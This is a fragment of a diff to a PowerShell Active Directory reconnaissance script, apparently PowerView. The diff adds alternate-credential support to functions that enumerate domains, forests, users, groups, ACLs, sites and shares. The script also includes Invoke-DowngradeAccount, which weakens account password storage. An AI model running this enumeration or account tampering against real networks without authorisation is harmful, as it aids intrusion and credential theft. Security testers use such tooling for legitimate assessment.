[Management.Automation.PSCredential] + $Credential ) - process { - if($Domain) { - $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) - try { - [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) - } - catch { - Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." - $Null - } + if($Credential) { + + Write-Verbose "Using alternate credentials for Get-NetDomain" + + if(!$Domain) { + # if no domain is supplied, extract the logon domain from the PSCredential passed + $Domain = $Credential.GetNetworkCredential().Domain + Write-Verbose "Extracted domain '$Domain' from -Credential" } - else { - [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain, $Credential.UserName, $Credential.GetNetworkCredential().Password) + + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + } + catch { + Write-Warning "The specified domain does '$Domain' not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid." + $Null } } + elseif($Domain) { + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + } + catch { + Write-Warning "The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust." + $Null + } + } + else { + [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } } -function Get-NetForest { +filter Get-NetForest { <# .SYNOPSIS @@ -1778,47 +1884,76 @@ function Get-NetForest { The forest name to query for, defaults to the current domain. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetForest -Forest external.domain + + .EXAMPLE + + PS C:\> "external.domain" | Get-NetForest #> - [CmdletBinding()] param( [Parameter(ValueFromPipeline=$True)] [String] - $Forest + $Forest, + + [Management.Automation.PSCredential] + $Credential ) - process { - if($Forest) { - $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest) - try { - $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) - } - catch { - Write-Debug "The specified forest $Forest does not exist, could not be contacted, or there isn't an existing trust." - $Null - } + if($Credential) { + + Write-Verbose "Using alternate credentials for Get-NetForest" + + if(!$Forest) { + # if no domain is supplied, extract the logon domain from the PSCredential passed + $Forest = $Credential.GetNetworkCredential().Domain + Write-Verbose "Extracted domain '$Forest' from -Credential" } - else { - # otherwise use the current forest - $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() + + $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest, $Credential.UserName, $Credential.GetNetworkCredential().Password) + + try { + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) } - - if($ForestObject) { - # get the SID of the forest root - $ForestSid = (New-Object System.Security.Principal.NTAccount($ForestObject.RootDomain,"krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value - $Parts = $ForestSid -Split "-" - $ForestSid = $Parts[0..$($Parts.length-2)] -join "-" - $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid - $ForestObject + catch { + Write-Warning "The specified forest '$Forest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid." + $Null + } + } + elseif($Forest) { + $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest) + try { + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) + } + catch { + Write-Warning "The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust." + return $Null } } + else { + # otherwise use the current forest + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() + } + + if($ForestObject) { + # get the SID of the forest root + $ForestSid = (New-Object System.Security.Principal.NTAccount($ForestObject.RootDomain,"krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value + $Parts = $ForestSid -Split "-" + $ForestSid = $Parts[0..$($Parts.length-2)] -join "-" + $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid + $ForestObject + } } -function Get-NetForestDomain { +filter Get-NetForestDomain { <# .SYNOPSIS @@ -1828,9 +1963,10 @@ function Get-NetForestDomain { The forest name to query domain for. - .PARAMETER Domain + .PARAMETER Credential - Return domains that match this term/wildcard. + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. .EXAMPLE @@ -1841,39 +1977,24 @@ function Get-NetForestDomain { PS C:\> Get-NetForestDomain -Forest external.local #> - [CmdletBinding()] param( [Parameter(ValueFromPipeline=$True)] [String] $Forest, - [String] - $Domain + [Management.Automation.PSCredential] + $Credential ) - process { - if($Domain) { - # try to detect a wild card so we use -like - if($Domain.Contains('*')) { - (Get-NetForest -Forest $Forest).Domains | Where-Object {$_.Name -like $Domain} - } - else { - # match the exact domain name if there's not a wildcard - (Get-NetForest -Forest $Forest).Domains | Where-Object {$_.Name.ToLower() -eq $Domain.ToLower()} - } - } - else { - # return all domains - $ForestObject = Get-NetForest -Forest $Forest - if($ForestObject) { - $ForestObject.Domains - } - } + $ForestObject = Get-NetForest -Forest $Forest -Credential $Credential + + if($ForestObject) { + $ForestObject.Domains } } -function Get-NetForestCatalog { +filter Get-NetForestCatalog { <# .SYNOPSIS @@ -1883,28 +2004,34 @@ function Get-NetForestCatalog { The forest name to query domain for. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetForestCatalog #> - - [CmdletBinding()] + param( [Parameter(ValueFromPipeline=$True)] [String] - $Forest + $Forest, + + [Management.Automation.PSCredential] + $Credential ) - process { - $ForestObject = Get-NetForest -Forest $Forest - if($ForestObject) { - $ForestObject.FindAllGlobalCatalogs() - } + $ForestObject = Get-NetForest -Forest $Forest -Credential $Credential + + if($ForestObject) { + $ForestObject.FindAllGlobalCatalogs() } } -function Get-NetDomainController { +filter Get-NetDomainController { <# .SYNOPSIS @@ -1922,9 +2049,28 @@ function Get-NetDomainController { Switch. Use LDAP queries to determine the domain controllers. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + + .EXAMPLE + + PS C:\> Get-NetDomainController -Domain 'test.local' + + Determine the domain controllers for 'test.local'. + .EXAMPLE - PS C:\> Get-NetDomainController -Domain test + PS C:\> Get-NetDomainController -Domain 'test.local' -LDAP + + Determine the domain controllers for 'test.local' using LDAP queries. + + .EXAMPLE + + PS C:\> 'test.local' | Get-NetDomainController + + Determine the domain controllers for 'test.local'. #> [CmdletBinding()] @@ -1937,20 +2083,20 @@ function Get-NetDomainController { $DomainController, [Switch] - $LDAP + $LDAP, + + [Management.Automation.PSCredential] + $Credential ) - process { - if($LDAP -or $DomainController) { - # filter string to return all domain controllers - Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)' - } - else { - $FoundDomain = Get-NetDomain -Domain $Domain - - if($FoundDomain) { - $Founddomain.DomainControllers - } + if($LDAP -or $DomainController) { + # filter string to return all domain controllers + Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)' + } + else { + $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential + if($FoundDomain) { + $Founddomain.DomainControllers } } } @@ -2012,6 +2158,11 @@ function Get-NetUser { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetUser -Domain testing @@ -2021,9 +2172,8 @@ function Get-NetUser { PS C:\> Get-NetUser -ADSpath "LDAP://OU=secret,DC=testlab,DC=local" #> - [CmdletBinding()] param( - [Parameter(ValueFromPipeline=$True)] + [Parameter(Position=0, ValueFromPipeline=$True)] [String] $UserName, @@ -2053,12 +2203,15 @@ function Get-NetUser { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) begin { # so this isn't repeated if users are passed on the pipeline - $UserSearcher = Get-DomainSearcher -Domain $Domain -ADSpath $ADSpath -DomainController $DomainController -PageSize $PageSize + $UserSearcher = Get-DomainSearcher -Domain $Domain -ADSpath $ADSpath -DomainController $DomainController -PageSize $PageSize -Credential $Credential } process { @@ -2395,6 +2548,11 @@ function Get-UserProperty { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-UserProperty -Domain testing @@ -2426,22 +2584,25 @@ function Get-UserProperty { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) if($Properties) { # extract out the set of all properties for each object $Properties = ,"name" + $Properties - Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Select-Object -Property $Properties + Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -Property $Properties } else { # extract out just the property names - Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Select-Object -First 1 | Get-Member -MemberType *Property | Select-Object -Property 'Name' + Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -First 1 | Get-Member -MemberType *Property | Select-Object -Property 'Name' } } -function Find-UserField { +filter Find-UserField { <# .SYNOPSIS @@ -2476,6 +2637,11 @@ function Find-UserField { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Find-UserField -SearchField info -SearchTerm backup @@ -2503,16 +2669,17 @@ function Find-UserField { [ValidateRange(1,10000)] [Int] - $PageSize = 200 - ) + $PageSize = 200, - process { - Get-NetUser -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField - } + [Management.Automation.PSCredential] + $Credential + ) + + Get-NetUser -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField } -function Get-UserEvent { +filter Get-UserEvent { <# .SYNOPSIS @@ -2534,7 +2701,12 @@ function Get-UserEvent { .PARAMETER DateStart Filter out all events before this date. Default: 5 days - + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-UserEvent -ComputerName DomainController.testlab.local @@ -2545,6 +2717,7 @@ function Get-UserEvent { #> Param( + [Parameter(ValueFromPipeline=$True)] [String] $ComputerName = $Env:ComputerName, @@ -2553,7 +2726,10 @@ function Get-UserEvent { $EventType = "logon", [DateTime] - $DateStart=[DateTime]::Today.AddDays(-5) + $DateStart = [DateTime]::Today.AddDays(-5), + + [Management.Automation.PSCredential] + $Credential ) if($EventType.ToLower() -like "logon") { @@ -2566,8 +2742,25 @@ function Get-UserEvent { [Int32[]]$ID = @(4624, 4768) } - #grab all events matching our filter for the specified host - Get-WinEvent -ComputerName $ComputerName -FilterHashTable @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart} -ErrorAction SilentlyContinue | ForEach-Object { + if($Credential) { + Write-Verbose "Using alternative credentials" + $Arguments = @{ + 'ComputerName' = $ComputerName; + 'Credential' = $Credential; + 'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart}; + 'ErrorAction' = 'SilentlyContinue'; + } + } + else { + $Arguments = @{ + 'ComputerName' = $ComputerName; + 'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart}; + 'ErrorAction' = 'SilentlyContinue'; + } + } + + # grab all events matching our filter for the specified host + Get-WinEvent @Arguments | ForEach-Object { if($ID -contains 4624) { # first parse and check the logon event type. This could be later adapted and tested for RDP logons (type 10) @@ -2763,7 +2956,7 @@ function Get-ObjectAcl { ) begin { - $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix $ADSprefix -PageSize $PageSize + $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix $ADSprefix -PageSize $PageSize # get a GUID -> name mapping if($ResolveGUIDs) { @@ -2785,10 +2978,11 @@ function Get-ObjectAcl { try { $Searcher.FindAll() | Where-Object {$_} | Foreach-Object { $Object = [adsi]($_.path) + if($Object.distinguishedname) { $Access = $Object.PsBase.ObjectSecurity.access $Access | ForEach-Object { - $_ | Add-Member NoteProperty 'ObjectDN' ($Object.distinguishedname[0]) + $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] if($Object.objectsid[0]){ $S = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value @@ -3170,6 +3364,7 @@ function Invoke-ACLScanner { } | Where-Object { # check for any ACLs with SIDs > -1000 try { + # TODO: change this to a regex for speedup? [int]($_.IdentitySid.split("-")[-1]) -ge 1000 } catch {} @@ -3180,7 +3375,7 @@ function Invoke-ACLScanner { } -function Get-GUIDMap { +filter Get-GUIDMap { <# .SYNOPSIS @@ -3207,6 +3402,7 @@ function Get-GUIDMap { [CmdletBinding()] Param ( + [Parameter(ValueFromPipeline=$True)] [String] $Domain, @@ -3236,7 +3432,7 @@ function Get-GUIDMap { } } - $RightsSearcher = Get-DomainSearcher -ADSpath $SchemaPath.replace("Schema","Extended-Rights") -DomainController $DomainController -PageSize $PageSize + $RightsSearcher = Get-DomainSearcher -ADSpath $SchemaPath.replace("Schema","Extended-Rights") -DomainController $DomainController -PageSize $PageSize -Credential $Credential if ($RightsSearcher) { $RightsSearcher.filter = "(objectClass=controlAccessRight)" try { @@ -3306,6 +3502,10 @@ function Get-NetComputer { The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. + + .PARAMETER SiteName + + The AD Site name to search for computers. .PARAMETER Unconstrained @@ -3315,6 +3515,11 @@ function Get-NetComputer { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetComputer @@ -3386,12 +3591,15 @@ function Get-NetComputer { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) begin { - # so this isn't repeated if users are passed on the pipeline - $CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + # so this isn't repeated if multiple computer names are passed on the pipeline + $CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize -Credential $Credential } process { @@ -3496,6 +3704,11 @@ function Get-ADObject { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-ADObject -SID "S-1-5-21-2620891829-2411261497-1773853088-1110" @@ -3538,7 +3751,10 @@ function Get-ADObject { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) process { if($SID) { @@ -3562,10 +3778,9 @@ function Get-ADObject { } } - $ObjectSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + $ObjectSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize if($ObjectSearcher) { - if($SID) { $ObjectSearcher.filter = "(&(objectsid=$SID)$Filter)" } @@ -3642,6 +3857,11 @@ function Set-ADObject { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Set-ADObject -SamAccountName matt.admin -PropertyName countrycode -PropertyValue 0 @@ -3689,7 +3909,10 @@ function Set-ADObject { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) $Arguments = @{ @@ -3700,6 +3923,7 @@ function Set-ADObject { 'DomainController' = $DomainController 'Filter' = $Filter 'PageSize' = $PageSize + 'Credential' = $Credential } # splat the appropriate arguments to Get-ADObject $RawObject = Get-ADObject -ReturnRaw @Arguments @@ -3765,6 +3989,11 @@ function Invoke-DowngradeAccount { Switch. Unset the reversible encryption flag and force password reset flag. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS> Invoke-DowngradeAccount -SamAccountName jason @@ -3780,10 +4009,11 @@ function Invoke-DowngradeAccount { [CmdletBinding()] Param ( - [Parameter(Position=0,ValueFromPipeline=$True)] + [Parameter(ParameterSetName = 'SamAccountName', Position=0, ValueFromPipeline=$True)] [String] $SamAccountName, + [Parameter(ParameterSetName = 'Name')] [String] $Name, @@ -3797,7 +4027,10 @@ function Invoke-DowngradeAccount { $Filter, [Switch] - $Repair + $Repair, + + [Management.Automation.PSCredential] + $Credential ) process { @@ -3807,6 +4040,7 @@ function Invoke-DowngradeAccount { 'Domain' = $Domain 'DomainController' = $DomainController 'Filter' = $Filter + 'Credential' = $Credential } # splat the appropriate arguments to Get-ADObject @@ -3868,6 +4102,11 @@ function Get-ComputerProperty { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-ComputerProperty -Domain testing @@ -3899,17 +4138,20 @@ function Get-ComputerProperty { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) if($Properties) { # extract out the set of all properties for each object $Properties = ,"name" + $Properties | Sort-Object -Unique - Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Select-Object -Property $Properties + Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -Property $Properties } else { # extract out just the property names - Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Select-Object -first 1 | Get-Member -MemberType *Property | Select-Object -Property "Name" + Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -first 1 | Get-Member -MemberType *Property | Select-Object -Property "Name" } } @@ -3949,6 +4191,11 @@ function Find-ComputerField { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Find-ComputerField -SearchTerm backup -SearchField info @@ -3978,11 +4225,14 @@ function Find-ComputerField { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) process { - Get-NetComputer -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -FullData -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField + Get-NetComputer -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField } } @@ -4021,6 +4271,11 @@ function Get-NetOU { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetOU @@ -4037,7 +4292,13 @@ function Get-NetOU { PS C:\> Get-NetOU -GUID 123-... - Returns all OUs with linked to the specified group policy object. + Returns all OUs with linked to the specified group policy object. + + .EXAMPLE + + PS C:\> "*admin*","*server*" | Get-NetOU + + Get the full OU names for the given search terms piped on the pipeline. #> [CmdletBinding()] @@ -4063,11 +4324,14 @@ function Get-NetOU { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) begin { - $OUSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + $OUSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize } process { if ($OUSearcher) { @@ -4079,16 +4343,21 @@ function Get-NetOU { $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName))" } - $OUSearcher.FindAll() | Where-Object {$_} | ForEach-Object { - if ($FullData) { - # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties - } - else { - # otherwise just returning the ADS paths of the OUs - $_.properties.adspath + try { + $OUSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + if ($FullData) { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + else { + # otherwise just returning the ADS paths of the OUs + $_.properties.adspath + } } } + catch { + Write-Warning $_ + } } } } @@ -4128,6 +4397,11 @@ function Get-NetSite { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetSite -Domain testlab.local -FullData @@ -4158,11 +4432,18 @@ function Get-NetSite { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) begin { - $SiteSearcher = Get-DomainSearcher -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -ADSprefix "CN=Sites,CN=Configuration" -PageSize $PageSize + if(!$Domain) { + $Domain = Get-NetDomain -Credential $Credential + } + + $SiteSearcher = Get-DomainSearcher -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSprefix "CN=Sites,CN=Configuration" -PageSize $PageSize } process { if($SiteSearcher) { @@ -4225,6 +4506,11 @@ function Get-NetSubnet { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetSubnet @@ -4258,11 +4544,18 @@ function Get-NetSubnet { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) begin { - $SubnetSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix "CN=Subnets,CN=Sites,CN=Configuration" -PageSize $PageSize + if(!$Domain) { + $Domain = Get-NetDomain -Credential $Credential + } + + $SubnetSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -ADSprefix "CN=Subnets,CN=Sites,CN=Configuration" -PageSize $PageSize } process { @@ -4390,6 +4683,11 @@ function Get-NetGroup { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetGroup @@ -4444,11 +4742,14 @@ function Get-NetGroup { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) begin { - $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize } process { @@ -4461,7 +4762,7 @@ function Get-NetGroup { if ($UserName) { # get the raw user object - $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -ReturnRaw -PageSize $PageSize + $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -Credential $Credential -ReturnRaw -PageSize $PageSize # convert the user to a directory entry $UserDirectoryEntry = $User.GetDirectoryEntry() @@ -4476,7 +4777,7 @@ function Get-NetGroup { # ignore the built in users and default domain user group if(!($GroupSid -match '^S-1-5-32-545|-513$')) { if($FullData) { - Get-ADObject -SID $GroupSid -PageSize $PageSize + Get-ADObject -SID $GroupSid -PageSize $PageSize -Domain $Domain -DomainController $DomainController -Credential $Credential } else { if($RawSids) { @@ -4565,6 +4866,11 @@ function Get-NetGroupMember { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetGroupMember @@ -4592,7 +4898,7 @@ function Get-NetGroupMember { $SID, [String] - $Domain = (Get-NetDomain).Name, + $Domain, [String] $DomainController, @@ -4611,15 +4917,22 @@ function Get-NetGroupMember { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) begin { # so this isn't repeated if users are passed on the pipeline - $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize if(!$DomainController) { - $DomainController = ((Get-NetDomain).PdcRoleOwner).Name + $DomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name + } + + if(!$Domain) { + $Domain = Get-NetDomain -Credential $Credential } } @@ -4630,15 +4943,15 @@ function Get-NetGroupMember { if ($Recurse -and $UseMatchingRule) { # resolve the group to a distinguishedname if ($GroupName) { - $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -FullData -PageSize $PageSize + $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize } elseif ($SID) { - $Group = Get-NetGroup -SID $SID -Domain $Domain -FullData -PageSize $PageSize + $Group = Get-NetGroup -SID $SID -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize } else { # default to domain admins - $SID = (Get-DomainSID -Domain $Domain) + "-512" - $Group = Get-NetGroup -SID $SID -Domain $Domain -FullData -PageSize $PageSize + $SID = (Get-DomainSID -Domain $Domain -Credential $Credential) + "-512" + $Group = Get-NetGroup -SID $SID -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize } $GroupDN = $Group.distinguishedname $GroupFoundName = $Group.name @@ -4663,7 +4976,7 @@ function Get-NetGroupMember { } else { # default to domain admins - $SID = (Get-DomainSID -Domain $Domain) + "-512" + $SID = (Get-DomainSID -Domain $Domain -Credential $Credential) + "-512" $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" } @@ -4795,7 +5108,7 @@ function Get-NetGroupMember { # if we're doing manual recursion if ($Recurse -and !$UseMatchingRule -and $IsGroup -and $MemberName) { - Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $DomainController -GroupName $MemberName -Recurse -PageSize $PageSize + Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $DomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize } } @@ -4828,6 +5141,11 @@ function Get-NetFileServer { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetFileServer @@ -4854,7 +5172,10 @@ function Get-NetFileServer { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) function SplitPath { @@ -4869,7 +5190,7 @@ function Get-NetFileServer { } } - Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Where-Object {$_} | Where-Object { + Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize | Where-Object {$_} | Where-Object { # filter for any target users if($TargetUsers) { $TargetUsers -Match $_.samAccountName @@ -4920,6 +5241,11 @@ function Get-DFSshare { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-DFSshare @@ -4950,7 +5276,10 @@ function Get-DFSshare { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) function Get-DFSshareV1 { @@ -4967,10 +5296,13 @@ function Get-DFSshare { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) - $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize if($DFSsearcher) { $DFSshares = @() @@ -5014,10 +5346,13 @@ function Get-DFSshare { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) - $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize if($DFSsearcher) { $DFSshares = @() @@ -5054,10 +5389,10 @@ function Get-DFSshare { $DFSshares = @() if ( ($Version -eq "all") -or ($Version.endsWith("1")) ) { - $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize } if ( ($Version -eq "all") -or ($Version.endsWith("2")) ) { - $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize } 